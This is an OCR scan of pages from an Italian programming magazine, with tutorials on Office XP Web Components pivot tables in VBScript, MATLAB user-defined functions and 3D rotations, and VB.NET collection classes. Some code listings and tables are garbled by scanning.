occupano di stabilire la connessione al nostro DB di
prova. In particolare si osservi l'utilizzo di Command-
Text, in coda al blocco (3). Essa non fa altro che restitui-
re o impostare la stringa di comando dell'oggetto spe-
cificato. In generale, senza scegliere troppo nei dettagli,
questa proprietà restituisce o imposta una stringa di te-
sto, in genere SQL, che restituisce un singolo gruppo di
70 ►►► M a g g
3
http ://www.itport al.it
risultati del provider. In sostanza, dunque, l'utilizzo di
CommandText con l'istruzione SQL specificata nel li-
stato, ci garantisce il giusto sistema di filtraggio dei da-
ti dalla fonte originaria. Tralasciando per ovvia sempli-
cità le due istruzioni definite in (4), passiamo dunque
al blocco successivo. Esso rappresenta il punto iniziale
e cruciale dal quale vengono definite le regole che de-
termineranno la corretta visualizzazione dei dati all'in-
terno della Tabella Pivot.
Item Category Price ^
►
E HW 50
B
HW
inni
C
SW
200 1
D
SW
100 1
E
HW-SW
50 1
F
HW-SW
60 1
G
SW
100 1
H
SW
200 1
SW
500 '
L
HW
100
M
HW
50
N
HW
60
HW
60
p
SW
60
Q
SW
100
R
HW-SW
200
S
HW-SW
300
T HW-SW
400 =
Record: -| - il 1 t|M|»*Nifi)
4
PivotDB.mdb (tabella Inventario)
~ PivotTablel
HI* \ì\ Il B* lutala \\"*i «HI t |*| BUI S
Rilasciare qui i campi filtro
Catetpiria-Oijijetto »
Horae-Dijtretto »
Prezzo t
HHW
A t
50
3 t
100
L !
100
M 1
50
N *
60
o :
60
Totale
420
a hw-sw
E
50
F *
60
R :
200
S *
300
T *_
400
Totale 1
1010
asw
C
200
o :
100
e ■
100
Fig. 3: Interazione tra il componente Spreadsheetl
ed il componente PivotTablel.
Le due istruzioni definite in (5) non fanno altro che sta-
bilire i campi che faranno parte del raggruppamento
"riga" della nostra tabella pivot. Per semplicità, ho tra-
lasciato di aggiungere un ulteriore raggruppamento di
colonna, ma ovviamente quest'ulteriore possibilità po-
teva essere raggiunta in maniera analoga sfruttando
ColumnAxis alla stessa maniera di RowAxis. Il penulti-
mo blocco di istruzioni ha il compito di aggiungere un
oggetto di tipo PivotTotal a ciascun blocco-riga della Ta-
bella Pivot. Per far questo, è necessario avvalersi del
metodo AddTotal e successivamente, definito quest'og-
getto, di InsertTotal per inserirlo correttamente all'inter-
no del componente Pivot.
Dim PTview
Dim PTFieldSets
Dim TotaleFields
Dim strSQL
Dim e
Set c= PivotTablel. Costants
' (1)
' Imposta alcuni attributi di PT
PivotTablel. DisplayExpandlndicator = True
PivotTablel. DisplayFieldList = True
PivotTablel. AllowDetails = True
PivotTablel. ActiveView. RowAxis. Label. Visible = True
PivotTablel. ActiveView.ColumnAxis. Label. Visible = True
1(2)
' Imposta la stringa per la connessione al DB
sDBPath = "D:\I componenti Web di Office
XP\PivotDB.mdb"
strSQL = "SELECT * FROM Inventario"
'(3)
' Definisci la stringa di connessione
PivotTablel. ConnectionString = "Provider=
Microsoft. Jet. OLEDB. 4. 0;data source=" & sDBPath
PivotTablel. CommandText = strSQL
1(4)
' Memorizza alcune variabili utili di PT
Set PTview = PivotTablel. ActiveView
Set PTFieldSets = PTview. FieldSets
'(5)
' Aggiungi Categoria-Oggetto e Nome-Oggetto nelle righe...
PTview. RowAxis. InsertFieldSet PTFieldSets(
"Categoria-Oggetto")
PTview. RowAxis. InsertFieldSet PTFieldSets(
"Nome-Oggetto")
1(6)
' Aggiungi la voce del totale (Somma dei prezzi).
' E' possibile sostituire pIFunctionSum con
pIFunctionAverage, pIFunctionCalculated,
pIFunctionCount,
' pIFunctionMax, pIFunctionMin, pIFunctionStdDev,
pIFunctìonStdDevP, pIFunctionVar
e pIFunctionVarP
Set TotaleFields = PTview. AddTotal("Somma dei
prezzi", PTFieldSets("Prezzo").Fields(0),
e. pIFunctionSum)
PTview. DataAxis. InsertTotal TotaleFields
' (?)
' Mostra i dettagli sui prezzi
PTview.DataAxis.InsertFieldSet PTview. FieldSets("Prezzo")
CONCLUSIONI
Naturalmente non bastano queste poche righe di
esempi per descrivere nel dettaglio tutte le funzio-
nalità offerte dagli office XP Web Components.
Credo tuttavia che quanto appena mostrato serva
come inizio per approfondire l'argomento che, mal-
grado la complessità esposta, consente di realizzare
pagine Web molto utili ed interessanti.
Francesco Lippo
Sistema
I componenti
Web di Office XP
Termini
utilizzati
nell'esempio
/-ft • PivotTotal: rap-
--*/ presenta sempli-
cemente un totale al-
l'interno di un elenco
tabella pivot. Tecnica-
mente, rappresenta il
valore di aggregazione
contenuto all'interno di
una determinata cella
della Tabella Pivot.
• PivotGroupAxis: rap-
presenta l'asse di rag-
gruppamento all'inter-
no di un elenco Tabella
Pivot.
• RowAxis/Colum-
nAxis: applicati, nel ca-
so nostro specifico, ad
un oggetto di tipo Pi-
votView, restituiscono
rispettivamente un og-
getto PivotGroupAxis
che rappresenta l'asse
di riga/colonna di una
Tabella Pivot.
http ://www.itport al.it
g g
3 ►►► 71
4 4 4 4 4 4 4 4 4 4 4 4 4 Corsi Base
MATLAB
®
LE FUNZIONI
Dopo aver automatizzato il nostro lavoro attraverso
gli script, passiamo all'uso delle funzioni.
Nello scorso numero abbiamo visto come
memorizzare e riutilizzare un insieme di
comandi. In MATLAB questa operazione
viene chiamata "script" e ci offre un primo livello di
automatizzazione del nostro lavoro. Ha il pregio di
essere molto immediato nella fase di creazione e di
utilizzo ma già sappiamo che ci costringe anche ad
alcune acrobazie da un punto di vista della gestione
dei dati. Infatti, le variabili vengono create nel work-
space base di MATLAB; questo ci conduce ad avere,
prima o poi, un grande numero di variabili in un
luogo solo, molti nomi assegnati che ci mettono di
fronte a problemi di scelta delle nuove variabili;
inoltre, corriamo il rischio di utilizzare le variabili
sbagliate nel momento sbagliato.
Il successivo passo verso una migliore gestione del-
le nostre applicazioni é la comprensione del concet-
to di funzione. Non casualmente viene utilizzato un
termine preso a prestito dalla matematica. La defini-
zione matematica di funzione suona come: siano X
e Y due generici insiemi non vuoti; ogni volta che,
con un procedimento qualsiasi, facciamo corrispon-
dere ad ogni elemento x che appartiene ad X uno ed
un solo elemento y che appartiene ad Y, diciamo di
aver definito una funzione su X a valori in Y.
Non dobbiamo stupirci per il linguaggio che può
apparire astruso ed ermetico; si tratta semplicemen-
te dello sforzo di definire rigorosamente un concet-
to minimizzando il pericolo di venire fraintesi. Per
questo motivo la matematica ha sviluppato una
simbologia univoca ma noi possiamo comunque
tradurre la nostra proposizione in un linguaggio
meno rigoroso ma più comprensibile ai più. Provia-
mo a riprendere la nostra definizione e a rileggerla:
abbiamo a disposizione due insieme (X e Y) di nu-
meri (per esempio sia X sia Y contengono i numeri
che vanno da 1 a 100); ogni volta che con un proce-
dimento qualsiasi (per esempio possiamo definirlo
per mezzo di un'operazione aritmetica) facciamo
corrispondere ad ogni elemento x che appartiene ad
X (quindi uno dei numeri tra 1 e 100) uno ed un so-
lo elemento y che appartiene ad Y (se dicessimo che
x=2 potremmo definire il "procedimento" per mez-
zo di y=x+3 e in questo modo abbiamo ricavato un
valore di y a partire da un valore di x), diciamo di
aver definito una funzione su X a valori in Y (cioè,
abbiamo trovato dei valori all'interno dell'insieme Y
a partire da valori che sono presenti in X).
Ora, letta in questo modo non ci fa più troppa im-
pressione. Cosa abbiamo scoperto? Che possiamo
definire insiemi di valori {variabili), che possiamo
applicare operazioni, combinare, manipolare queste
variabili per ottenerne altre. Abbiamo un solo vin-
colo: ad ogni valore di x deve corrispondere un solo
valore y. Ma questo é un vincolo matematico; scri-
vendo codice in un linguaggio per computer ci sba-
razziamo anche di questo. Se utilizziamo MATLAB
per implementare la nostra semplice funzione po-
tremmo scrivere:
>> x=2
x =
2m
>> y=x+3
y =
5.00
Noi però siamo alla ricerca di qualche cosa di diffe-
rente a riguardo della strutturazione del codice.
Questa operazione ci fornisce risultati corretti ma,
per esempio, non é facilmente riutilizzabile: ogni
volta che ne avremo bisogno dovremo riscriverla.
Inoltre se il procedimento fosse più complesso do-
vremmo scrivere molto più codice e le variabili in-
termedie del calcolo sarebbero all'interno del nostro
workspace a ingombrarci il campo e a confondere le
idee.
A questo fine ci permettiamo di rubare l'idea di fun-
zione e tentiamo di implementare qualche cosa di
molto simile in MATLAB. Per fare questo, abbiamo
la necessità di una nuova primitiva che ci consenta
di definire una funzione insieme alle sue variabili di
input e di output (le x e le y della definizione di fun-
zione). In Fig. 1 è mostrato un esempio che mostra
l'utilizzo di una funzione che somma il numero 3 al-
la variabile x. Proviamo a fare una radiografia di ciò
che é stato scritto. La parola chiave "function" infor-
ma MATLAB che ciò che stiamo definendo é una
MATLAB
File sul CD
\soft\codice\matcod.zip
PjFile sul Web
www.itportal.it/iop69
/matcod.zip
http: //www. itportal.it
M
9 9
3 ►►► 73
MATLAB
[i]
Le funzioni
scritte dall'u-
tente vengono usa-
te in tutto e per tut-
to come quelle na-
tive dell'ambiente
MATLAB.
l,l|.|]ll]IJ.4II.U].I.IJ,l..l..l.ltJ,l,Ll l Ll.l.l.l.lUU.I.mElB
"3 al
BSB|J*B""|#|*f. i fi | <H1 lf 1! Si m \
1 function risultato=somma3 (var_input)
2 % Somma 3 alla variabile di input
3 " risultato=var_input+3 ;|
Li uT
Fig. 1: Funzione "somma3.
funzione. Ciò che segue la parola function é la defi-
nizione della sintassi d'uso: come prima cosa scri-
viamo la variabile di uscita (risultato), che viene pro-
dotta da una funzione che abbiamo deciso di chia-
mare "somma?>" , che a sua volta é seguita dai para-
metri di ingresso racchiusi fra parentesi. Quindi, il
corpo della funzione viene scritto in una maniera
non dissimile da quella che abbiamo fino ad ora
usato per scrivere i nostri script. Dobbiamo tenere
conto che abbiamo a disposizione le variabili di-
chiarate come ingressi e che dobbiamo produrre un
risultato per le variabili che abbiamo dichiarato co-
me uscite.
Nel nostro caso il compito é molto semplice e una
volta che la funzione è salvata possiamo utilizzarla
a nostro piacimento:
[i]
>> somma3(4)
ans =
7.00
>> w=9;
>> r=somma3(w)
r =
12.00
>> whos
Name Size
Bytes
Class
ans lxl
8
doublé array
r lxl
8
doublé array
w lxl
8
doublé array
Grand total is 3 elements
using 24 bytes
In questo caso abbiamo utilizzato la funzione per
calcolare la somma su un numero fornito esplicita-
mente e appena dopo abbiamo invece utilizzato del-
le variabili (w e r) per mantenere traccia dei valori di
ingresso e di quelli calcolati.
Notiamo una cosa importantissima dall'immagine
del workspace di MATLAB: non vi é traccia dei va-
lori delle variabili che avevamo originariamente di-
chiarato all'interno di funzione somma?. Questo é
normale nel caso di utilizzo di funzioni ma merita
una piccola spiegazione.
Le variabili che abbiamo dichiarato all'interno della
funzione fungono da riferimento soltanto all'inter-
no della funzione stessa; servono cioè a progettare
l'algoritmo e vengono utilizzate al momento in cui
invochiamo la funzione ma vengono distrutte non
appena essa termina e restituisce il risultato calcola-
to. Infatti, nel preciso momento in cui essa viene in-
vocata, si forma un altro workspace specifico per la
funzione in cui prendono vita le variabili usate per
il calcolo insieme ai valori utilizzati per i risultati in-
termedi.
Nel momento in cui la funzione termina, questo
nuovo workspace viene distrutto, la memoria libe-
rata e tutte le variabili in esso contenute scompaio-
no; il valore del risultato viene assegnato alla varia-
bile che, nell'ambiente che ha chiamato la funzione,
é stata specificata come uscita (infatti anche quando
non specifichiamo esplicitamente un nome di varia-
bile viene usata la variabile ans).
Quali vantaggi ci offre questo nuovo approccio alla
scrittura di programmi? Le funzioni nascono con l'i-
dea di disporre di componenti riutilizzabili con
semplicità. Il mondo dell'ingegneria da tempo ha
scoperto che é più semplice assemblare componenti
elementari per ottenere sistemi più complessi piut-
tosto che sviluppare e gestire le complessità in un
unico ambiente. Questo aiuta ad aumentare il grado
di sofisticazione dei sistemi di molti ordini di gran-
dezza poiché consente di collaudare singoli compo-
nenti in maniera separata da tutto il resto e permet-
te di isolare contesti specifici che, altrimenti, se trat-
tati insieme a tutto il resto diverrebbero rapidamen-
te ingestibili. Inoltre, questo approccio ci consente
di avere una stupenda gestione delle nostre variabi-
li offrendoci ulteriore libertà di assegnare nomi per-
tinenti all'algoritmo all'interno delle funzioni ma ci
da la libertà di usare nomi di variabili pertinenti al-
l'applicazione all'esterno delle funzioni. Quindi,
per combinazione di componenti elementari affida-
bili siamo ora in grado di costruire sistemi di eleva-
ta complessità minimizzando lo sforzo di gestione
delle nostre applicazioni.
Analizziamo una piccola ma significativa ed utile
estensione dei concetti appena visti. MATLAB ci of-
fre la possibilità di avere un numero qualsiasi di va-
riabili in ingresso ed un numero qualsiasi di varia-
bili in uscita. Immaginiamo di volere scrivere una
funzione che calcola l'espressione in due variabili:
(-*' -f)
z = (x 2 - y) e
Inoltre desideriamo sapere dove il nostro calcolo
raggiunge il massimo all'interno del dominio di cal-
colo dei suoi valori. Vogliamo quindi produrre un
grafico che evidenzi l'andamento della superficie e
mostri il punto in cui il calcolo ha raggiunto il mas-
simo valore. Qui preme fare una piccola distinzione
che può apparire molto formale e matematica ma vi
posso assicurare che non lo è per nulla: c'è una dif-
ferenza sostanziale tra dire che stiamo ricercando il
valore più grande tra quelli provenienti dal nostro
calcolo e che, invece, cerchiamo il massimo della
funzione. Nel primo caso di tratta di scegliere il più
grande tra i valori presenti in un vettore o in una
74 ► ► ► M a
9 9
3
http:// www. itportal.it
matrice frutto del calcolo in alcuni punti prescelti.
Nel secondo caso dobbiamo concentrarci sulla fun-
zione stessa e ricercare in quali punti essa raggiun-
ga il massimo. Il massimo della funzione ed il più
grande valore nella matrice proveniente dal calcolo,
nella maggior parte dei casi non coincidono. Vedre-
mo nei prossimi numeri l'applicazione di alcuni al-
goritmi atti a calcolare il punto di massimo e ci sarà
maggiormente chiara questa importante differenza.
Per fare quello che ci siamo prefissati é necessario
trascrivere quanto mostrato in Fig. 2.
u» t« m* [*.< &tu2 anturi* «^ •?». me
d a» y ) ■■ e *> ■ • M t. Qtì
jc] *calc*xp lx,yl
% Creazione dilla griglia di ascici* ad ordinate
[ascissa, atdiBata]=n6shiirid !.:£,¥) '
^ Calcolo della funzione
E B {«ciiH. A 2- ordinata) . +**p (-asolata. * 2 -ordinata, ^2) ;
% Sioeroo del valore massimo all'interno
ts della matrice dei risultati
a _majr-B»xiiaax(z>> ;
% Ricerca delle posizioni nella matrice risultata
■' in cui ricorre il valore massime
[po3_naax,po*_yma3c]"find (z«»s_ioax> ;
% Rioeroa della coordinate corrispondenti
% alla posizioni in cui •' stato trovato
% il
K_maK=diag|a5cis5a|pcs_nnfls,p(3s_3inai)) ;
y_mjut"diag < ordinata (poa xmax , pò s_yma* ) > ;
% Calcolo delle dimensioni di uno dei vettori
Hs che contengono la coordinata dai punti di massimo
[m,n]"sìE« (x_max> ;
'■■ Se ilpunto non e c unico adeguiamo le dimensioni
% dal risultato alla dlaanslon.1 dai vattori
% delle coordinate di massimo
if m>l
z_taar-z_jua3c*onas 4n,l) ;
end
_l
Fig. 2: Funzione in più variabili.
Ora che abbiamo a disposizione la nostra funzione
possiamo produrci nel seguente esperimento:
[2]
Iniziamo con il commentare il codice che abbiamo
scritto per usare la nostra nuova funzione. Dap-
prima abbiamo creato l'intervallo di valori per la
x e la y: entrambe le variabili spaziano tra -2 e 2
con passi pari ad 1/10. Quindi abbiamo richiama-
to la nostra funzione specificando i nomi delle va-
riabili necessarie per l'ingresso e quelle che abbia-
mo deciso di usare nel workspace base di MA-
TLAB per l'uscita.
Una volta raggiunto questo risultato il resto dello
sforzo é teso a produrre una visualizzazione utile
e significativa dei nostri dati.
Il comando "surf" visualizza la superficie a parti-
re dalle coordinate x, y e z (la variabile uscita nel
nostro caso). Come già sappiamo il comando "hold
on" mantiene sulla finestra corrente (più precisa-
mente sull'asse corrente) la visualizzazione attua-
le e permette di fare sovrapposizioni.
Nel seguito abbiamo utilizzato la funzione plot3
facendoci restituire l'handle degli oggetti appena
creati; questo ci consente di variare alcune loro
proprietà con il fine di rendere la visualizzazione
un po' più chiara. Infatti, variamo immediatamen-
te sia il colore sia la dimensione dei due punti che
sono stati appena creati. L'ultimo comando ci con-
sente di ruotare la superficie in modo da rendere
visibile tutte le sue caratteristiche salienti.
Dobbiamo ora spendere qualche parola per de-
scrivere il contenuto della funzione che abbiamo
scritto per elaborare il nostro calcolo.
Spezziamola in porzioni significative e proviamo
ad analizzarla.
Partiamo dalla definizione di funzione:
function [z,x_max,y_max,z_max]=calcexp(x,y)
Rispetto a ciò che abbiamo fatto in precedenza ve-
diamo più variabili di ingresso (tra parentesi sepa-
rate da virgole) e abbiamo ora alcune variabili in
uscita. Queste vengono specificate per mezzo delle
parentesi quadre e sono anche loro separate da vir-
gole.
[3]
[ascissa, ordinata] = meshgrid(x,y);
L'uso della funzione meshgrid é particolarmente im-
portante tutte quelle volte in cui abbiamo la neces-
sità di creare matrici di coordinate che possano es-
sere utilizzate per il calcolo di funzioni in due va-
riabili. Ciò che essa produce sono due matrici che
nelle stesse posizioni contengono tutte le combina-
zioni di coordinate necessarie alla valutazione di
funzioni in due variabili.
[4]
z= (ascissa. A 2-ordinata).*exp(-ascissa. /v 2-ordinata. /s 2);
Il calcolo della funzione é ora particolarmente sem-
plice. L'unica accortezza che dobbiamo usare é rela-
tiva alla specifica delle operazioni che devono esse-
re fatte elemento per elemento (per mezzo di un
punto che viene fatto precedere il segno convenzio-
nale di operazione).
z_max=max(max(z));
La funzione max agisce sulle matrici calcolandone il
valore massimo colonna per colonna (restituendo
un vettore che contiene il più grande valore all'in-
terno di ogni colonna). Quindi l'applicazione più
interna della funzione max genera un vettore di va-
lori mentre la seconda volta che la utilizziamo essa
si trova di fronte un vettore riga di valori ed é quin-
di costretta a trovare il valore massimo all'interno
MATLAB
[2
Il comando help
consente di rag-
giungere la descrizio-
ne di un comando co-
noscendo esattamen-
te il nome della fun-
[3]
help meshgrid
fornisce infor-
mazioni utili sulla
funzione
[4]
Gli
operatori
e ".*" indi-
cano che si vuole ef-
fettuare un'operazio-
ne di elevamento a
potenza ed una mol-
tiplicazione elemento
per elemento all'in-
terno delle matrici .
http ://www.itport al.it
M
g g
3 ►►► 75
MATLAB
[5
E necessario no-
tare la differen-
za che esiste tra il se-
gno di assegnazione
di un valore ( = ) e
quello di test condi-
zionale (= =).
[6]
Quando dobbia-
mo specificare
dei punti singoli in un
comando plot é ne-
cessario fornire dap-
prima la lista delle
ascisse e quindi quel-
la delle ordinate.
di questo vettore.
[5]
[pos_xmax,pos_ymax]=find(z==z_max);
La funzione fini restituisce le posizioni dove si ve-
rifica la condizione riportata in argomento.
x_max=diag(ascissa(pos_xmax,pos_ymax));
y_max=diag(ordinata(pos_xmax,pos_ymax));
Conoscendo le posizioni in cui é posizionato il va-
lore (o i valori) massimo possiamo ricavare i valori
delle coordinate x e y. Nel nostro caso l'uso della
funzione diag ci serve per trovare il vettore delle
coordinate x e y nel caso in cui le posizioni in cui si
trova il valore massimo della funzione sono più di
uno.
Prendiamo la prima espressione e smembriamola:
ascissa(pos_xmax,pos_ymax) ci restituisce una matri-
ce di valori all'interno di ascissa che siano posizio-
nati dove indicato dalle variabili pos_xmax e
pos_ymax.
Se ora applichiamo la funzione diag estraiamo la
diagonale di detta matrice e andiamo così a pren-
dere i valori delle ascisse che ci interessano. Ese-
guiamo quindi un codice simile ed otteniamo l'e-
lenco delle coordinate y:
[m,n]=size(x_max);
if m>l
z_max=z_max*ones(m,l);
end
Il codice riportato sopra é un semplice modo per
rendere il vettore zjnax di dimensioni compatibili
con le altre variabili (x_max in questo caso poiché
sappiamo che yjnax é della stessa dimensione).
ROTAZIONI
Lo scopo che ci prefiggiamo questa volta é quello
di scrivere una funzione che ci consenta di far ruo-
tare attorno ad un asse specifico punti o vettori.
Definiamo, per iniziare, cosa sia una rotazione di
un punto (oppure di un segmento che ha quel pun-
to come estremo) rispetto ad un asse. Se immagi-
niamo di avere un punto che sul piano cartesiano
ha coordinate (3, 1) e intendiamo ruotarlo di 90
gradi (pi greco /2 se lo esprimiamo in radianti), ri-
spetto ad una asse perpendicolare al foglio e che
passa per l'origine degli assi, dobbiamo applicargli
una trasformazione che sia in grado di modificare
le sue coordinate e le faccia divenire (-1, 3).
[6]
>> plot([0 3],[0 1])
>> hold on
>> plot([0 -1],[0 3])
che produce la Fig. 3.
Fig. 3: Rotazione di un segmento di 90 gradi (pi/2).
Definiamo la trasformazione che implementa que-
sta azione per mezzo di una serie di matrici:
10 \
| cos(B) -sin(G)\
sin(6) cos(6)j
cos(d) sin (0) ì
1
- sin(d) cos (0)
cos(d) - sin (0) 0\
| sin(d) cos (6)
1
Se ora consideriamo la coordinata di un punto in tre
dimensioni come un vettore colonna che contiene i
valori delle coordinate x, y e z, possiamo moltipli-
carla per una di queste matrici per ottenere la corri-
spondente rotazione attorno all'asse.
Le matrici precedenti sono definite per rotazioni in
senso antiorario, vale a dire che gli angoli positivi si
misurano ponendosi dalla parte verso cui é rivolto
l'asse positivo attorno al quale si vuole calcolare la
rotazione e si considerano positivi quegli angoli che
hanno un andamento antiorario. Per esempio, se
vogliamo calcolare la rotazione del segmento prece-
dente attorno all'asse Z (l'asse che passa per l'origi-
ne degli assi xy rivolto verso gli occhi di chi guarda)
dovremo scrivere:
76 ►►► M a g g
3
http:// www. itportal.it
>> Rz=[ cos(theta) -sin(theta) 0;
sin(theta) cos(theta) 0;...
1]
Rz =
0.00
-1.00
1.00
0.00
1.00
[7]
>> p2 =
=Rz*pl
p2 =
-1.00
3.00
Ottenendo esattamente quanto ci eravamo prefissa-
ti. Se desideriamo scrivere un codice generale e riu-
tilizzabile, che implementi questa idea dobbiamo ri-
ferirci alla funzione "rotxyz" riportata in Fig. 4.
i_eooro>rotjcys <ai
eoo Ed, 'theta)
cos (tinta) -sin { the ta) ; .
c sinCtheta) ooKthet») ] ;
By=[ eoa (theta) □ sin ( tht tal :
1 ; . _ .
-sin <thata) coi (tbats.) ]
% Matrici di cotazisaa
'* per rotazioni positive in set
Rz-[ cei (theta) -ainf-bbati
sin (theta) cos (theta)
Fig. 4: Codice della funzione che effettua la
rotazione in 3D attorno agli assi x, y e z.
Qui compare un nuovo costrutto per il controllo
del flusso (fino ad ora conosciamo il solo FOR) che
prende il nome di "switch". Il suo funzionamento
é molto simile a quello che viene utilizzato in mol-
ti altri linguaggi e ci serve per creare una casistica
a fronte del valore di una variabile. In questo caso
ci aspettiamo che la variabile asse contenga una
stringa che ci informa di quale é la rotazione desi-
derata.
Per utilizzare praticamente la nostra nuova funzio-
ne proviamo a scrivere lo script che chiameremo
"rndrot" che contiene il seguente codice:
[8]
data = ranc
n(3,100);
N = 500;
theta = 2*pi/N;
new_data =
= rotxyz('z'
,data
theta),
plot3(new_
_data(l,:)
new_
_data(2,
)
new_
_data(3,:),V);
for i = l:N
Ciò che esso produce é una animazione relativa al-
la rotazione intorno all'asse z di una nuvola di pun-
ti creati in maniera casuale attorno all'origine degli
assi.
La variabile N definisce la suddivisione (e quindi
l'ampiezza) dell'angolo di rotazione per ogni passo
del ciclo. Ad un N maggiore corrisponde un ango-
lo più piccolo e quindi si vedrà che ad ogni passo
la nuvola ruota di una angolo inferiore. L'unica
nuova accortezza che abbiamo dovuto scrivere é il
comando "drawnow" che costringe MATLAB a fer-
mare l'elaborazione per visualizzare il grafico ap-
pena creato, altrimenti, per ottimizzare i tempi di
calcolo, MATLAB avrebbe visualizzato soltanto il
grafico finale.
Se eseguite questo script vedrete una bella anima-
zione che vi mostra la rotazione della nostra nuvo-
la di punti.
CONCLUSIONI
Le funzioni sono un passo fondamentale nell'uso
di MATLAB. Esse ci consentono di costruire dei
comodi componenti che possono essere assembla-
ti fra loro per formare applicazioni più complesse.
Inoltre, la gestione dello spazio di lavoro viene a
semplificarsi enormemente fornendo una maggio-
re economia di spazio e una migliore libertà di as-
segnazione dei nomi. Ancora, il collaudo dei sin-
goli algoritmi può essere fatto in un ambiente cir-
coscritto e progettato ad hoc per ogni singolo al-
goritmo in modo tale da massimizzare l'affidabi-
lità del prodotto finale. L'algoritmo che va a fare
parte dell'applicazione che lo ospiterà fornirà le
migliori garanzie di accuratezza numerica e affi-
dabilità.
Nel prossimo numero impareremo a trattare anco-
ra le funzioni dal punto di vista del trattamento
dei dati per l'approssimazione di funzioni. Quan-
do abbiamo a che fare con il calcolo numerico sia-
mo costretti a trattare con molta cura le questioni
relative all'approssimazione dei dati. Vedremo al-
cune nozioni fondamentali e implementeremo un
algoritmo che può tornarci utile per il trattamento
di andamenti particolarmente complessi. Si tratta
di un tema che interessa un grande numero di di-
scipline tecniche ed ingegneristiche ed é talvolta
molto importante avere una buona conoscenza di
tali algoritmi.
Per maggiori informazioni sui prodotti della fami-
glia MATLAB potete consultare il sito di The
MathWorks {www.mathworks.it).
Fabrizio Sara
(fabrizio.sara@mathworks.it)
MATLAB
[7
In questo caso
è pertinente l'u-
so della moltiplica-
zione matriciale se-
condo le regole rese
esplicite nel primo
numero della nostra
serie.
[8]
La funzione
randn restitui-
sce una matrice di
numeri casuali distri-
buiti in maniera nor-
male (Gaussiana) at-
torno ad un valore
medio imposto pari a
zero.
Sul Web
Getting Started with
MATLAB
http: //www. mathworks
.com/access/helpdesk
/help/pdf doc/matlab
/qetstart.pdf
Using MATLAB
http: //www. mathworks
. com/access/helpdesk
/help/pdf doc/matlab
/using mi. pdf
Using MATLAB
Graphics
http ://www. mathworks
. com/access/helpdesk
/help/pdf doc/matlab
/graphg.pdf
Bibliografia
• FONDAMENTI DI
CALCOLO NUMERICO
Giovanni Monegato
(Edizioni CLUT)
1998
• METODI NUMERICI
E STATISTICI PER LE
SCIENZE APPLICATE
Valeriano Comincioli
(Editrice Ambrosiana)
1992
http: //www. itportal.it
M
g g
3 ►►► 77
C o r s
B a s e ► ► ► ► ► ► ► ► ► ► ► ► ►
Le Collezioni
visual Basic (O INSIEMI) DI OGGETTI
NET
L'ultimo articolo sulla programmazione ad oggetti
affronterà la gestione degli insiemi di oggetti avvalendosi
delle classi Collezione.
File sul CD
\soft\codice\VBNET.zip
File sul Web ^J
www.itportal.it
/iop69/VBNET.ZIP
Riferimenti
Quando si
giunge un
ag-
og-
getto alla collezione,
esso non viene real-
mente aggiunto alla
collezione, piuttosto
viene aggiunto alla
collezione un riferi-
mento all'oggetto.
Dunque una collezio-
ne contenente un in-
sieme di oggetti con-
tiene in realtà un in-
sieme di riferimenti
ad oggetti.
Dopo aver digerito i concetti che stanno alla
base della OOP siamo pronti per passare ad
un argomento che rende ancora più appetito-
so l'uso della OOP: le classi Collezione. Le classi Col-
lezione consentono di gestire un insieme di oggetti dello
stesso tipo, ad esempio un insieme di clienti.
In VB.NET sono disponibili diverse classi collezione
native. Alcune, come Stack e Queue sono classi specia-
lizzate, implementate per svolgere ruoli specifici (Stack
simula un insieme LIFO Last-in, first-out, Queue un
insieme di oggetti FIFO (conosciuta anche come coda).
Altre classi, quali CollectionBase e DictionaryBase, sono
classi astratte che hanno soltanto alcune funzionalità di
base, mentre è lasciato allo sviluppatore, il compito di
scrivere la maggior parte del codice d'implementazio-
ne. In questo articolo vedremo in dettaglio come crea-
re una collezione, e come definire i metodi che la clas-
se dovrà esporre per la gestione di un insieme di ele-
menti.
IMPOSTARE UNA CLASSE
COLLEZIONE
PERSONALIZZATA
In VB.NET è possibile creare classi Collezione persona-
lizzate ereditando da una delle numerose classi colle-
zione di .NET Framework e aggiungendo codice per
l'implementazione di funzionalità necessarie ad un
oggetto di tipo collezione. Nella classe CollectionBase
sono già disponibili implementazioni per il metodo
Clear che permette di cancellare tutti gli oggetti di una
collezione e la proprietà Count, che restituisce il nume-
ro di elementi presenti nella collezione. Per l'organiz-
zazione e l'archiviazione interna degli oggetti viene
mantenuta una proprietà protetta denominata List.
Un'altra possibilità è quella di utilizzare una classe
nativa definita privata (per garantire l'incapsulamento,
che abbiamo visto essere una caratteristica essenziale
della programmazione ad oggetti), in una classe con il
solo compito specifico di gestire una collezione di
oggetti. In particolare si può utilizzare una particolare
collezione nativa: HashTable. Si tratta di un tipo di col-
lezione speciale che funziona in base ad un principio
chiave/ valore, in pratica ad ogni elemento della colle-
zione è assegnata una chiave, che può essere utilizzata
per recuperare il valore dell'oggetto corrispondente.
Così come per le proprietà di una classe, che per esse-
re lette o modificate devono esporre le procedure
Property, anche per le collezioni si ha bisogno di meto-
di contenitori pubblici che permettano l'accesso ad una
collezione privata ed ai suoi metodi nativi. Da questa
breve descrizione si deduce che la classe collezione si
comporta come una collezione nativa del Visual Basic,
anche se a volte la sintassi è leggermente differente,
poiché le collezioni definite dal programmatore sono
specializzate per contenere solo oggetti di un determi-
nato tipo.
EREDITARE UNA CLASSE
Nel prosieguo dell'articolo implementeremo un esem-
pio di uso delle collezioni sfruttando la classe cliente
realizzata nel numero precedente. Per accedere univo-
camente ad un determinato cliente abbiamo però biso-
II pulsante Cancella
Il codice da scrivere nel button Cancella può
essere:
Private Sub ButtonCancella_Click (ByVal sender As
System. Object, ByVal e As System. EventArgs)
Handles ButtonCancella. Click
'Elimina l'eventuale errore che si potrebbe verificare
se si tenta di cancellare un cliente non presente
nella collezione
Try
'chiamata al metodo Remove, passa come parametro
la chiave rappresentata dal codice fiscale
CollezioneDiClienti.Remove(TextBoxCodiceFiscale.Text)
Catch
End Try
'Visualizza la nuova lista di clienti
VisualizzaLista()
'per svuotare i TextBox
SvuotaCampi()
'per riportarsi nelle condizioni iniziali
Objclientefiscale = Nothing
End Sub
78 ►►► M a g g
3
http: //www. itport al.it
gno di una chiave, come ad esempio il codice fiscale,
per questo definiamo una nuova classe ClienteFiscale
che erediti tutte le proprietà della classe cliente ed in
più esponga la nuova proprietà CodiceFiscale. La parola
chiave utilizzata in VB .Net per creare una relazione di
eredità è Inherits; quest'istruzione deve essere sulla
prima riga di codice dopo la definizione della classe,
nelle righe successive sarà possibile scrivere il codice
che definisce altre proprietà e metodi, peculiari della
classe derivata.
La classe derivata eredita dalla superclasse tutte le pro-
prietà ed i metodi dichiarati come Public o protected
